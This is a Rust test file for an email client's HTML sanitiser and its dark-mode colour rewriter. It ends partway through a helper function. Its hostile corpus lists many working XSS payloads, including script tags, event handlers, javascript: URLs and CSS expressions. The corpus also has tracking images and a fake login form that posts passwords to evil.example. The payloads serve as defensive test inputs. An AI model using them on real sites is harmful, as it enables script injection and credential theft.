789 lines
33 KiB
Rust
789 lines
33 KiB
Rust
//! Mandatory: the hostile HTML corpus and the sanitiser's properties.
|
|
|
|
use epistula_core::sanitize::{BLOCKED_IMAGE_SRC, SanitizeOptions, sanitize, text_to_html};
|
|
use proptest::prelude::*;
|
|
|
|
fn clean(html: &str) -> String {
|
|
sanitize(html, &SanitizeOptions::default()).html
|
|
}
|
|
|
|
/// Anything executable, anything that loads something, anything that navigates by itself.
|
|
const FORBIDDEN: &[&str] = &[
|
|
"<script",
|
|
"javascript:",
|
|
"vbscript:",
|
|
"onerror",
|
|
"onload",
|
|
"onclick",
|
|
"onmouseover",
|
|
"onfocus",
|
|
"onbegin",
|
|
"ontoggle",
|
|
"expression(",
|
|
"<form",
|
|
"<input",
|
|
"<button",
|
|
"<textarea",
|
|
"<select",
|
|
"<meta",
|
|
"http-equiv",
|
|
"refresh",
|
|
"<iframe",
|
|
"<frame",
|
|
"<object",
|
|
"<embed",
|
|
"<applet",
|
|
"<base",
|
|
"<link",
|
|
"<style",
|
|
"@import",
|
|
"url(",
|
|
"behavior:",
|
|
"-moz-binding",
|
|
"<svg",
|
|
"<math",
|
|
"srcdoc",
|
|
"formaction",
|
|
"data:text/html",
|
|
"evil.example",
|
|
"<template",
|
|
"<noscript",
|
|
"<xml",
|
|
"xlink:href",
|
|
];
|
|
|
|
const CORPUS: &[&str] = &[
|
|
"<script>alert(1)</script>",
|
|
"<SCRIPT SRC=//evil.example/x.js></SCRIPT>",
|
|
"<scr<script>ipt>alert(1)</script>",
|
|
"<img src=x onerror=alert(1)>",
|
|
"<img src=\"x\" ONERROR=\"alert(1)\">",
|
|
"<img src=x onerror\n=alert(1)>",
|
|
"<body onload=alert(1)>hi</body>",
|
|
"<svg onload=alert(1)><circle r=1></svg>",
|
|
"<svg><script>alert(1)</script></svg>",
|
|
"<svg><animate onbegin=alert(1) attributeName=x></svg>",
|
|
"<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
|
|
"<a href=\"javascript:alert(1)\">x</a>",
|
|
"<a href=\"JaVaScRiPt:alert(1)\">x</a>",
|
|
"<a href=\"java	script:alert(1)\">x</a>",
|
|
"<a href=\"javascript:alert(1)\">x</a>",
|
|
"<a href=\" javascript:alert(1)\">x</a>",
|
|
"<a href=\"vbscript:msgbox(1)\">x</a>",
|
|
"<a href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\">x</a>",
|
|
"<iframe src=\"data:text/html,<script>alert(1)</script>\"></iframe>",
|
|
"<iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
|
|
"<object data=\"evil.example/x.swf\"></object>",
|
|
"<embed src=\"evil.example/x.swf\">",
|
|
"<div style=\"width: expression(alert(1))\">x</div>",
|
|
"<div style=\"background:url(javascript:alert(1))\">x</div>",
|
|
"<div style=\"background-image: url('https://evil.example/track.png')\">x</div>",
|
|
"<div style=\"behavior: url(x.htc)\">x</div>",
|
|
"<div style=\"-moz-binding: url(x.xml#xss)\">x</div>",
|
|
"<div style=\"color: red; background: url(https://evil.example/t.gif)\">x</div>",
|
|
"<div style=\"color:e\\78pression(alert(1))\">x</div>",
|
|
"<div style=\"color: red /* */ ; width: expr/**/ession(1)\">x</div>",
|
|
"<style>@import 'https://evil.example/x.css'; body{background:url(https://evil.example/t)}</style>",
|
|
"<link rel=stylesheet href=https://evil.example/x.css>",
|
|
"<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example\">",
|
|
"<meta http-equiv=refresh content=\"0; url=javascript:alert(1)\">",
|
|
"<base href=\"https://evil.example/\">",
|
|
"<form action=\"https://evil.example/steal\"><input name=p type=password><button>Log in</button></form>",
|
|
"<button formaction=javascript:alert(1)>x</button>",
|
|
"<img src=\"https://evil.example/track.gif\">",
|
|
"<img src=\"http://evil.example/track.gif\" width=1 height=1>",
|
|
"<img srcset=\"https://evil.example/a.png 1x\">",
|
|
"<table background=\"https://evil.example/bg.png\"><tr><td>x</td></tr></table>",
|
|
"<body background=\"https://evil.example/bg.png\">x</body>",
|
|
"<video poster=\"https://evil.example/p.png\"></video>",
|
|
"<audio src=\"https://evil.example/a.mp3\"></audio>",
|
|
"<details open ontoggle=alert(1)>x</details>",
|
|
"<a href=\"https://ok.example\" onclick=\"alert(1)\">ok</a>",
|
|
"<xml><x:script>alert(1)</x:script></xml>",
|
|
"<template><script>alert(1)</script></template>",
|
|
"<noscript><img src=x onerror=alert(1)></noscript>",
|
|
"<svg><a xlink:href=\"javascript:alert(1)\"><text>x</text></a></svg>",
|
|
"<!--<img src=x onerror=alert(1)>-->",
|
|
"<img src=x:alert(alt) onerror=eval(src) alt=0>",
|
|
"<a href=\"data:image/svg+xml;base64,PHN2Zz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+\">x</a>",
|
|
];
|
|
|
|
/// The output escapes `:` and `=` in text and attribute values (`:`, `=`); undo that so the checks
|
|
/// see what a browser sees.
|
|
fn decoded(s: &str) -> String {
|
|
s.replace(":", ":").replace("=", "=")
|
|
}
|
|
|
|
/// Every tag in the output, with its attribute names and decoded values (a small scanner for the serialised
|
|
/// form ammonia writes: double-quoted values, no raw `<` in text).
|
|
fn tags(out: &str) -> Vec<(String, Vec<(String, String)>)> {
|
|
let mut result = Vec::new();
|
|
let mut rest = out;
|
|
while let Some(start) = rest.find('<') {
|
|
rest = &rest[start + 1..];
|
|
let mut name = String::new();
|
|
let mut chars = rest.char_indices().peekable();
|
|
while let Some(&(_, c)) = chars.peek() {
|
|
if c.is_whitespace() || c == '>' || c == '/' && !name.is_empty() {
|
|
break;
|
|
}
|
|
name.push(c);
|
|
chars.next();
|
|
}
|
|
let mut attrs = Vec::new();
|
|
let mut end = rest.len();
|
|
loop {
|
|
while let Some(&(_, c)) = chars.peek() {
|
|
if c.is_whitespace() || c == '/' {
|
|
chars.next();
|
|
} else {
|
|
break;
|
|
}
|
|
}
|
|
let Some(&(i, c)) = chars.peek() else { break };
|
|
if c == '>' {
|
|
end = i + 1;
|
|
break;
|
|
}
|
|
let mut attr = String::new();
|
|
while let Some(&(_, c)) = chars.peek() {
|
|
if c == '=' || c == '>' || c.is_whitespace() {
|
|
break;
|
|
}
|
|
attr.push(c);
|
|
chars.next();
|
|
}
|
|
let mut value = String::new();
|
|
if let Some(&(_, '=')) = chars.peek() {
|
|
chars.next();
|
|
if let Some(&(_, '"')) = chars.peek() {
|
|
chars.next();
|
|
for (_, c) in chars.by_ref() {
|
|
if c == '"' {
|
|
break;
|
|
}
|
|
value.push(c);
|
|
}
|
|
}
|
|
}
|
|
let value = decoded(&value).replace("&", "&").replace(""", "\"");
|
|
attrs.push((attr.to_ascii_lowercase(), value));
|
|
}
|
|
result.push((name.to_ascii_lowercase(), attrs));
|
|
rest = &rest[end.min(rest.len())..];
|
|
}
|
|
result
|
|
}
|
|
|
|
/// What a browser would run or load: script tags, event handler attributes, script URLs.
|
|
fn dangerous(out: &str) -> Option<String> {
|
|
for (name, attrs) in tags(out) {
|
|
if name == "script" || name == "iframe" || name == "object" || name == "embed" || name == "svg" {
|
|
return Some(format!("tag {name}"));
|
|
}
|
|
for (attr, value) in attrs {
|
|
if attr.starts_with("on") {
|
|
return Some(format!("attribute {attr}"));
|
|
}
|
|
let compact: String = value.chars().filter(|c| !c.is_whitespace() && !c.is_control()).collect();
|
|
let compact = compact.to_ascii_lowercase();
|
|
let url_attribute = matches!(
|
|
attr.as_str(),
|
|
"href"
|
|
| "src"
|
|
| "action"
|
|
| "formaction"
|
|
| "background"
|
|
| "poster"
|
|
| "data"
|
|
| "srcset"
|
|
| "lowsrc"
|
|
| "dynsrc"
|
|
| "cite"
|
|
| "xlink:href"
|
|
| "longdesc"
|
|
| "usemap"
|
|
| "codebase"
|
|
);
|
|
if url_attribute
|
|
&& (compact.starts_with("javascript:")
|
|
|| compact.starts_with("vbscript:")
|
|
|| compact.starts_with("data:text"))
|
|
{
|
|
return Some(format!("url in {attr}"));
|
|
}
|
|
if attr == "style"
|
|
&& ["expression", "url(", "javascript", "@import", "behavior", "binding"]
|
|
.iter()
|
|
.any(|b| compact.contains(b))
|
|
{
|
|
return Some("css".into());
|
|
}
|
|
if url_attribute
|
|
&& attr != "href"
|
|
&& (compact.starts_with("http:") || compact.starts_with("https:"))
|
|
&& !compact.contains("cdn.example")
|
|
{
|
|
return Some(format!("remote load in {attr}"));
|
|
}
|
|
}
|
|
}
|
|
None
|
|
}
|
|
|
|
#[test]
|
|
fn hostile_corpus_leaves_nothing_dangerous() {
|
|
for input in CORPUS {
|
|
let raw = clean(input);
|
|
assert_eq!(dangerous(&raw), None, "input {input:?} output {raw:?}");
|
|
let out = decoded(&raw).to_ascii_lowercase();
|
|
for bad in FORBIDDEN {
|
|
assert!(!out.contains(bad), "input {input:?}\noutput {out:?}\ncontains {bad:?}");
|
|
}
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn remote_images_become_placeholders_and_are_counted() {
|
|
let html = "<p>Hi</p><img src=\"https://evil.example/a.png\" alt=\"logo\"><img src=\"http://evil.example/b.png\">";
|
|
let out = sanitize(html, &SanitizeOptions::default());
|
|
assert_eq!(out.blocked_images, 2);
|
|
assert!(!out.html.contains("evil.example"), "{}", out.html);
|
|
let placeholder = BLOCKED_IMAGE_SRC.replace(':', ":");
|
|
assert_eq!(out.html.matches(&placeholder).count(), 2, "{}", out.html);
|
|
assert!(out.html.contains("alt=\"logo\""));
|
|
}
|
|
|
|
#[test]
|
|
fn load_images_keeps_remote_images_only() {
|
|
let html = "<img src=\"https://cdn.example/a.png\"><a href=\"javascript:x\">j</a><img src=x onerror=alert(1)>";
|
|
let out = sanitize(html, &SanitizeOptions { load_remote_images: true, ..Default::default() });
|
|
assert_eq!(out.blocked_images, 0);
|
|
assert!(out.html.contains("https://cdn.example/a.png"), "{}", out.html);
|
|
let lower = out.html.to_ascii_lowercase();
|
|
assert!(!lower.contains("javascript") && !lower.contains("onerror"), "{}", out.html);
|
|
}
|
|
|
|
#[test]
|
|
fn ordinary_mail_formatting_survives() {
|
|
let html = "<div style=\"color: #333; font-size: 14px; text-align: center\">\
|
|
<p><b>Bold</b> <i>it</i> <u>u</u> <strong>s</strong> <em>e</em></p>\
|
|
<ul><li>one</li></ul><ol><li>two</li></ol><blockquote>quoted</blockquote>\
|
|
<table><tr><td style=\"padding: 4px\">cell</td></tr></table>\
|
|
<a href=\"https://example.cz/x?a=1&b=2\">link</a> <a href=\"mailto:a@example.cz\">mail</a></div>";
|
|
let out = clean(html);
|
|
for kept in ["<b>Bold</b>", "<i>it</i>", "<u>u</u>", "<ul>", "<ol>", "<blockquote>", "<table>", "<td"] {
|
|
assert!(out.contains(kept), "{kept} missing in {out}");
|
|
}
|
|
assert!(out.contains("color: #333"), "{out}");
|
|
assert!(out.contains("padding: 4px"), "{out}");
|
|
assert!(out.contains("href=\"https://example.cz/x?a=1&b=2\""), "{out}");
|
|
assert!(out.contains("href=\"mailto:a@example.cz\""), "{out}");
|
|
assert!(out.contains("rel=\"noopener noreferrer\""), "{out}");
|
|
}
|
|
|
|
#[test]
|
|
fn embedded_data_images_are_kept_only_for_raster_types() {
|
|
let png = "<img src=\"data:image/png;base64,iVBORw0KGgo=\">";
|
|
assert!(clean(png).contains("data:image/png;base64,iVBORw0KGgo="), "{}", clean(png));
|
|
let svg = "<img src=\"data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=\">";
|
|
assert!(!clean(svg).contains("image/svg"), "{}", clean(svg));
|
|
let html = "<img src=\"data:text/html;base64,PHNjcmlwdD4=\">";
|
|
assert!(!clean(html).contains("text/html"));
|
|
}
|
|
|
|
#[test]
|
|
fn text_bodies_are_escaped_and_linked() {
|
|
let html = text_to_html("a < b & c > d\n<script>alert(1)</script>\nsee https://example.cz/x?y=1 ok");
|
|
assert!(html.contains("a < b & c > d"), "{html}");
|
|
assert!(!html.to_ascii_lowercase().contains("<script"), "{html}");
|
|
assert!(html.contains("<br>"), "{html}");
|
|
assert!(html.contains("<a href=\"https://example.cz/x?y=1\""), "{html}");
|
|
let js = text_to_html("javascript:alert(1)");
|
|
assert!(!js.contains("<a"), "{js}");
|
|
}
|
|
|
|
fn has_event_handler(s: &str) -> bool {
|
|
let lower = s.to_ascii_lowercase();
|
|
let bytes = lower.as_bytes();
|
|
let mut i = 0;
|
|
while let Some(pos) = lower[i..].find(" on") {
|
|
let start = i + pos + 3;
|
|
let mut j = start;
|
|
while j < bytes.len() && bytes[j].is_ascii_alphabetic() {
|
|
j += 1;
|
|
}
|
|
while j < bytes.len() && bytes[j].is_ascii_whitespace() {
|
|
j += 1;
|
|
}
|
|
if j < bytes.len() && bytes[j] == b'=' {
|
|
return true;
|
|
}
|
|
i = start;
|
|
}
|
|
false
|
|
}
|
|
|
|
fn fragment() -> impl Strategy<Value = String> {
|
|
prop_oneof![
|
|
Just("<script>".to_string()),
|
|
Just("</script>".to_string()),
|
|
Just("<scr".to_string()),
|
|
Just("ipt>".to_string()),
|
|
Just("<img src=x onerror=alert(1)>".to_string()),
|
|
Just(" onload=".to_string()),
|
|
Just(" ONCLICK = ".to_string()),
|
|
Just("javascript:".to_string()),
|
|
Just("JAVASCRIPT:".to_string()),
|
|
Just("<a href=\"".to_string()),
|
|
Just("\">".to_string()),
|
|
Just("<svg".to_string()),
|
|
Just("<div style=\"".to_string()),
|
|
Just("expression(".to_string()),
|
|
Just("<!--".to_string()),
|
|
Just("-->".to_string()),
|
|
Just("<![CDATA[".to_string()),
|
|
Just("j".to_string()),
|
|
Just("<script>".to_string()),
|
|
Just("<".to_string()),
|
|
Just(">".to_string()),
|
|
Just("\"".to_string()),
|
|
Just("'".to_string()),
|
|
Just("=".to_string()),
|
|
Just(" ".to_string()),
|
|
Just("<p title=\"".to_string()),
|
|
"[a-z]{1,8}",
|
|
"\\PC{0,12}",
|
|
]
|
|
}
|
|
|
|
proptest! {
|
|
#![proptest_config(ProptestConfig::with_cases(2000))]
|
|
|
|
#[test]
|
|
fn no_output_ever_contains_script_handlers_or_javascript(
|
|
parts in proptest::collection::vec(fragment(), 0..40),
|
|
load in any::<bool>(),
|
|
) {
|
|
let input = parts.concat();
|
|
let out = sanitize(&input, &SanitizeOptions { load_remote_images: load, ..Default::default() }).html;
|
|
let lower = out.to_ascii_lowercase();
|
|
prop_assert!(!lower.contains("<script"), "input {:?} output {:?}", input, out);
|
|
prop_assert!(!lower.contains("javascript:"), "input {:?} output {:?}", input, out);
|
|
prop_assert!(!has_event_handler(&out), "input {:?} output {:?}", input, out);
|
|
prop_assert_eq!(dangerous(&out), None, "input {:?} output {:?}", input, out);
|
|
}
|
|
|
|
#[test]
|
|
fn text_to_html_is_always_inert(text in "\\PC{0,300}") {
|
|
let out = text_to_html(&text).to_ascii_lowercase();
|
|
prop_assert!(!out.contains("<script"));
|
|
prop_assert!(!out.contains("javascript:"));
|
|
prop_assert!(!has_event_handler(&out));
|
|
}
|
|
|
|
#[test]
|
|
fn sanitizing_twice_changes_nothing_dangerous(parts in proptest::collection::vec(fragment(), 0..30)) {
|
|
let once = clean(&parts.concat());
|
|
let twice = clean(&once).to_ascii_lowercase();
|
|
prop_assert!(!twice.contains("<script") && !twice.contains("javascript:") && !has_event_handler(&twice));
|
|
prop_assert_eq!(dangerous(&twice), None);
|
|
}
|
|
}
|
|
|
|
// ---------- the dark reader (the app's docs/06_screens.md, "Making a mail's HTML dark") ----------
|
|
|
|
use epistula_core::sanitize::{
|
|
BLOCKED_IMAGE_SRC_DARK, Colours, DarkPalette, MIN_CONTRAST, Rgb, contrast, is_grey, parse_colour,
|
|
};
|
|
|
|
const PALETTE: DarkPalette = DarkPalette::DOMI;
|
|
|
|
fn dark(html: &str) -> epistula_core::Sanitized {
|
|
sanitize(html, &SanitizeOptions { colours: Colours::Dark(PALETTE), ..Default::default() })
|
|
}
|
|
|
|
/// A coloured mail: a white table, a red border, grey text, a green font, a highlight, a link drawn as a button, a
|
|
/// remote image, white text, a light rule.
|
|
const COLOURED: &str = "<table bgcolor=\"#ffffff\" style=\"background-color: #fafafa !important; border: 1px solid #c0392b\"><tr><td style=\"color: #333333; background: yellow\"><font color=\"#2e7d32\">green</font> <span style=\"background-color: #ffff00; color: #1a43a6\">hi</span> <a href=\"https://example.cz\" style=\"color: red; text-decoration: none; background: #0055ff\">button</a> <img src=\"https://example.cz/x.png\" width=\"20\"></td></tr></table><p style=\"color: white\">hidden</p><hr style=\"border-color: #ddd\">";
|
|
|
|
/// What v0.1.0 wrote for `COLOURED` (recorded before the dark option existed).
|
|
const COLOURED_ORIGINAL: &str = "<table bgcolor=\"#ffffff\" style=\"border: 1px solid #c0392b\"><tbody><tr><td style=\"color: #333333; background: yellow\"><font color=\"#2e7d32\">green</font> <span style=\"background-color: #ffff00; color: #1a43a6\">hi</span> <a href=\"https://example.cz\" style=\"color: red; text-decoration: none; background: #0055ff\" rel=\"noopener noreferrer\">button</a> <img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PHJlY3Qgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBmaWxsPSIjNDQ0Ii8+PC9zdmc+\" width=\"20\"></td></tr></tbody></table><p style=\"color: white\">hidden</p><hr style=\"border-color: #ddd\">";
|
|
|
|
/// Every CSS declaration of every `style` in the output, with the tag it sits on.
|
|
fn declarations(out: &str) -> Vec<(String, String, String)> {
|
|
let mut all = Vec::new();
|
|
for (tag, attrs) in tags(out) {
|
|
for (attr, value) in attrs {
|
|
if attr != "style" {
|
|
continue;
|
|
}
|
|
for d in value.split(';') {
|
|
if let Some((p, v)) = d.split_once(':') {
|
|
all.push((tag.clone(), p.trim().to_ascii_lowercase(), v.trim().to_ascii_lowercase()));
|
|
}
|
|
}
|
|
}
|
|
}
|
|
all
|
|
}
|
|
|
|
fn tint() -> String {
|
|
PALETTE.highlight_css()
|
|
}
|
|
|
|
/// The first `color: …` value in the decoded output.
|
|
fn first_colour(html: &str) -> Option<String> {
|
|
html.split("color: ").nth(1).and_then(|s| s.split(['"', ';']).next()).map(String::from)
|
|
}
|
|
|
|
/// The dark rules the output must keep, whatever the input: no background but the highlight tint on words, every
|
|
/// text colour readable on the body and never grey, borders in the rule colour, links without colours or
|
|
/// decorations of their own, no `!important`, no `bgcolor`.
|
|
fn dark_violation(out: &str) -> Option<String> {
|
|
for (tag, attrs) in tags(out) {
|
|
for (attr, value) in &attrs {
|
|
if attr == "bgcolor" {
|
|
return Some(format!("bgcolor on {tag}"));
|
|
}
|
|
if tag == "font" && attr == "color" {
|
|
match parse_colour(value) {
|
|
Some(c) if !is_grey(c) && contrast(c, PALETTE.body) >= MIN_CONTRAST => {}
|
|
_ => return Some(format!("font color {value:?}")),
|
|
}
|
|
}
|
|
}
|
|
}
|
|
let rule = format!("{}", PALETTE.rule);
|
|
for (tag, property, value) in declarations(out) {
|
|
if value.contains('!') {
|
|
return Some(format!("{property}: {value} keeps a !"));
|
|
}
|
|
if property.starts_with("background") {
|
|
if property != "background-color" || value != tint() {
|
|
return Some(format!("{tag} {property}: {value}"));
|
|
}
|
|
if !matches!(tag.as_str(), "span" | "font" | "mark" | "b" | "i" | "u" | "strong" | "em") {
|
|
return Some(format!("a highlight on {tag}"));
|
|
}
|
|
}
|
|
if property == "color" {
|
|
if tag == "a" {
|
|
return Some("a link with its own colour".into());
|
|
}
|
|
match parse_colour(&value) {
|
|
Some(c) if !is_grey(c) && contrast(c, PALETTE.body) >= MIN_CONTRAST => {}
|
|
_ => return Some(format!("{tag} color {value:?}")),
|
|
}
|
|
}
|
|
if property.starts_with("border") && property.ends_with("color") && value != rule {
|
|
return Some(format!("{tag} {property}: {value}"));
|
|
}
|
|
if property.starts_with("border")
|
|
&& !property.ends_with("color")
|
|
&& matches!(property.as_str(), "border" | "border-top" | "border-right" | "border-bottom" | "border-left")
|
|
{
|
|
let colours: Vec<&str> = value.split_whitespace().filter(|t| parse_colour(t).is_some()).collect();
|
|
if colours != [rule.as_str()] {
|
|
return Some(format!("{tag} {property}: {value}"));
|
|
}
|
|
}
|
|
if tag == "a" && property == "text-decoration" {
|
|
return Some("a link that may lose its underline".into());
|
|
}
|
|
if property == "text-decoration" && value.split_whitespace().any(|t| parse_colour(t).is_some()) {
|
|
return Some(format!("a coloured decoration {value:?}"));
|
|
}
|
|
}
|
|
None
|
|
}
|
|
|
|
#[test]
|
|
fn original_is_byte_for_byte_what_v0_1_0_wrote() {
|
|
let out = sanitize(COLOURED, &SanitizeOptions::default());
|
|
assert_eq!(out.html, COLOURED_ORIGINAL);
|
|
assert_eq!(out.blocked_images, 1);
|
|
assert!(!out.colours_changed, "the original look is never a change");
|
|
let explicit = sanitize(COLOURED, &SanitizeOptions { colours: Colours::Original, ..Default::default() });
|
|
assert_eq!(explicit.html, COLOURED_ORIGINAL);
|
|
}
|
|
|
|
#[test]
|
|
fn dark_rewrites_a_coloured_mail() {
|
|
let out = dark(COLOURED);
|
|
assert_eq!(dark_violation(&out.html), None, "{}", out.html);
|
|
assert!(out.colours_changed, "backgrounds were removed");
|
|
assert_eq!(out.blocked_images, 1);
|
|
let html = decoded(&out.html);
|
|
// The white table and the yellow cell lose their backgrounds; the highlight on words becomes the tint.
|
|
assert!(!html.contains("bgcolor") && !html.contains("yellow") && !html.contains("#fafafa"), "{html}");
|
|
assert!(html.contains(&format!("<span style=\"background-color: {}", tint())), "{html}");
|
|
// Grey and white text go: the body's white shows.
|
|
assert!(!html.contains("#333333") && !html.contains("color: white"), "{html}");
|
|
// The green keeps its hue, lightened; the link keeps no colour, no background, no decoration.
|
|
assert!(html.contains("<font color=\"#") && !html.contains("#2e7d32"), "{html}");
|
|
assert!(html.contains("<a href=\"https://example.cz\" rel=\"noopener noreferrer\">button</a>"), "{html}");
|
|
// Borders and the rule take the rule colour.
|
|
assert!(html.contains(&format!("border: 1px solid {}", PALETTE.rule)), "{html}");
|
|
assert!(html.contains(&format!("<hr style=\"border-color: {}\">", PALETTE.rule)), "{html}");
|
|
// The blocked image is the dark placeholder, and the image itself is untouched (never inverted or dimmed).
|
|
assert!(html.contains(&format!("<img src=\"{BLOCKED_IMAGE_SRC_DARK}\" width=\"20\">")), "{html}");
|
|
assert!(!html.contains("filter") && !html.contains("invert") && !html.contains("opacity"), "{html}");
|
|
}
|
|
|
|
#[test]
|
|
fn colours_are_lightened_in_their_hue_to_the_minimum_contrast() {
|
|
// The examples of the design: exactly the drawn colours (HSL lightness raised in steps of 1 %).
|
|
for (from, drawn) in [("#c0392b", "#d7594c"), ("#2e7d32", "#36933b"), ("#1a43a6", "#517ce4")] {
|
|
let out = dark(&format!("<p style=\"color: {from}\">x</p>"));
|
|
assert!(out.colours_changed, "{from} was lightened");
|
|
let html = decoded(&out.html);
|
|
let value = first_colour(&html).unwrap_or_default();
|
|
let got = parse_colour(&value).unwrap_or_else(|| panic!("{from}: no colour in {html}"));
|
|
assert!(contrast(got, PALETTE.body) >= MIN_CONTRAST, "{from} -> {got}");
|
|
assert!(contrast(got, PALETTE.body) < MIN_CONTRAST + 0.4, "{from} -> {got}: lightened more than needed");
|
|
assert_eq!(got.to_string(), drawn, "{from}");
|
|
}
|
|
// A colour that is already readable stays as it is, and is no change.
|
|
let light = dark("<p style=\"color: #8fd8b5\">x</p>");
|
|
assert!(decoded(&light.html).contains("color: #8fd8b5"), "{}", light.html);
|
|
assert!(!light.colours_changed);
|
|
}
|
|
|
|
#[test]
|
|
fn black_grey_and_white_text_goes_and_is_no_change() {
|
|
for colour in [
|
|
"black",
|
|
"#000",
|
|
"#333",
|
|
"#777777",
|
|
"grey",
|
|
"rgb(128, 128, 128)",
|
|
"white",
|
|
"#fff",
|
|
"#fdfdfd",
|
|
"#1b2130",
|
|
"rgba(0,0,0,0.8)",
|
|
"transparent",
|
|
"inherit",
|
|
"currentColor",
|
|
"hsl(0, 5%, 40%)",
|
|
] {
|
|
let out =
|
|
dark(&format!("<p style=\"color: {colour}; font-size: 14px\">x</p><font color=\"{colour}\">y</font>"));
|
|
let html = decoded(&out.html);
|
|
assert!(!html.contains("color"), "{colour}: {html}");
|
|
assert!(html.contains("font-size: 14px"), "{colour}: everything else stays ({html})");
|
|
assert!(!out.colours_changed, "{colour}: only grey text is nothing to restore");
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn a_colour_that_cannot_be_read_is_removed() {
|
|
for colour in ["notacolour", "#12", "#gggggg", "rgb(1,2)", "red green"] {
|
|
let html = decoded(&dark(&format!("<p style=\"color: {colour}\">x</p>")).html);
|
|
assert!(!html.contains("color"), "{colour}: {html}");
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn important_is_removed_so_the_reader_wins() {
|
|
let out = dark("<p style=\"color: #c0392b !important; font-weight: bold ! IMPORTANT\">x</p>");
|
|
let html = decoded(&out.html).to_ascii_lowercase();
|
|
assert!(!html.contains("important") && !html.contains('!'), "{html}");
|
|
assert!(html.contains("font-weight: bold"), "{html}");
|
|
assert!(html.contains("color: #"), "the colour survives without !important: {html}");
|
|
}
|
|
|
|
#[test]
|
|
fn a_highlight_on_words_becomes_the_tint_and_blocks_lose_theirs() {
|
|
for tag in ["span", "font", "mark", "b", "i", "u"] {
|
|
let out = dark(&format!("<{tag} style=\"background: #ffeb3b\">x</{tag}>"));
|
|
assert!(decoded(&out.html).contains(&format!("background-color: {}", tint())), "{tag}: {}", out.html);
|
|
assert!(out.colours_changed);
|
|
}
|
|
for tag in ["div", "p", "td"] {
|
|
let html = decoded(
|
|
&dark(&format!("<table><tr><td><{tag} style=\"background-color: #ffeb3b\">x</{tag}></td></tr></table>"))
|
|
.html,
|
|
);
|
|
assert!(!html.contains("background"), "{tag}: {html}");
|
|
}
|
|
// A white or grey background on words is no highlight: it just goes.
|
|
let white = decoded(&dark("<span style=\"background-color: #ffffff\">x</span>").html);
|
|
assert!(!white.contains("background"), "{white}");
|
|
// A background of nothing is no change.
|
|
let none = dark("<div style=\"background: transparent\">x</div><div style=\"background-color: none\">y</div>");
|
|
assert!(!none.colours_changed, "{}", none.html);
|
|
}
|
|
|
|
#[test]
|
|
fn bgcolor_is_removed_and_counts_as_a_change() {
|
|
let out = dark("<table bgcolor=\"#f4f4f4\"><tr bgcolor=\"red\"><td bgcolor=\"#123456\">x</td></tr></table>");
|
|
assert!(!out.html.contains("bgcolor"), "{}", out.html);
|
|
assert!(out.colours_changed);
|
|
}
|
|
|
|
#[test]
|
|
fn borders_take_the_rule_colour() {
|
|
let out = dark(
|
|
"<div style=\"border: 2px dashed rgb(255, 0, 0); border-left-color: #00ff00; border-top: 1px solid\">x</div>",
|
|
);
|
|
let html = decoded(&out.html);
|
|
let rule = PALETTE.rule;
|
|
assert!(html.contains(&format!("border: 2px dashed {rule}")), "{html}");
|
|
assert!(html.contains(&format!("border-left-color: {rule}")), "{html}");
|
|
assert!(html.contains(&format!("border-top: 1px solid {rule}")), "{html}");
|
|
assert_eq!(dark_violation(&out.html), None, "{html}");
|
|
}
|
|
|
|
#[test]
|
|
fn links_are_always_the_theme_s() {
|
|
let out = dark(
|
|
"<a href=\"https://example.cz\" style=\"color: #fff; background-color: #e91e63; text-decoration: none; padding: 8px 16px; border-radius: 4px\">Buy now</a>",
|
|
);
|
|
let html = decoded(&out.html);
|
|
assert!(!html.contains("color:") && !html.contains("background") && !html.contains("text-decoration"), "{html}");
|
|
assert!(html.contains("padding: 8px 16px"), "{html}");
|
|
assert!(out.colours_changed, "the button lost its background");
|
|
}
|
|
|
|
#[test]
|
|
fn plain_text_has_no_colours_to_change() {
|
|
let html = text_to_html("Hello\nhttps://example.cz");
|
|
assert!(!html.contains("style"), "{html}");
|
|
}
|
|
|
|
#[test]
|
|
fn the_hostile_corpus_is_as_safe_in_the_dark() {
|
|
for input in CORPUS {
|
|
let raw = dark(input).html;
|
|
assert_eq!(dangerous(&raw), None, "input {input:?} output {raw:?}");
|
|
let out = decoded(&raw).to_ascii_lowercase();
|
|
for bad in FORBIDDEN {
|
|
assert!(!out.contains(bad), "input {input:?}\noutput {out:?}\ncontains {bad:?}");
|
|
}
|
|
assert_eq!(dark_violation(&raw), None, "input {input:?} output {raw:?}");
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn the_palette_is_the_theme_s() {
|
|
assert_eq!(PALETTE.body, Rgb { r: 0x11, g: 0x17, b: 0x26 });
|
|
assert_eq!(format!("{}", PALETTE.rule), "#6b7a99");
|
|
assert_eq!(tint(), "rgba(244, 201, 93, 0.13)");
|
|
let prefix = "data:image/svg+xml;base64,";
|
|
assert!(BLOCKED_IMAGE_SRC_DARK.starts_with(prefix));
|
|
use base64::Engine as _;
|
|
let svg = base64::engine::general_purpose::STANDARD.decode(&BLOCKED_IMAGE_SRC_DARK[prefix.len()..]).unwrap();
|
|
assert!(String::from_utf8(svg).unwrap().contains("fill=\"#6b7a99\""));
|
|
let fg = Rgb { r: 0xee, g: 0xf2, b: 0xfa };
|
|
assert!((contrast(fg, PALETTE.body) - 15.9).abs() < 0.1, "{}", contrast(fg, PALETTE.body));
|
|
assert!(contrast(Rgb { r: 0x1d, g: 0x4f, b: 0x91 }, PALETTE.body) < 3.0, "the old link colour fails on the dark");
|
|
}
|
|
|
|
fn colour_value() -> impl Strategy<Value = String> {
|
|
prop_oneof![
|
|
any::<(u8, u8, u8)>().prop_map(|(r, g, b)| format!("#{r:02x}{g:02x}{b:02x}")),
|
|
any::<(u8, u8, u8)>().prop_map(|(r, g, b)| format!("rgb({r}, {g}, {b})")),
|
|
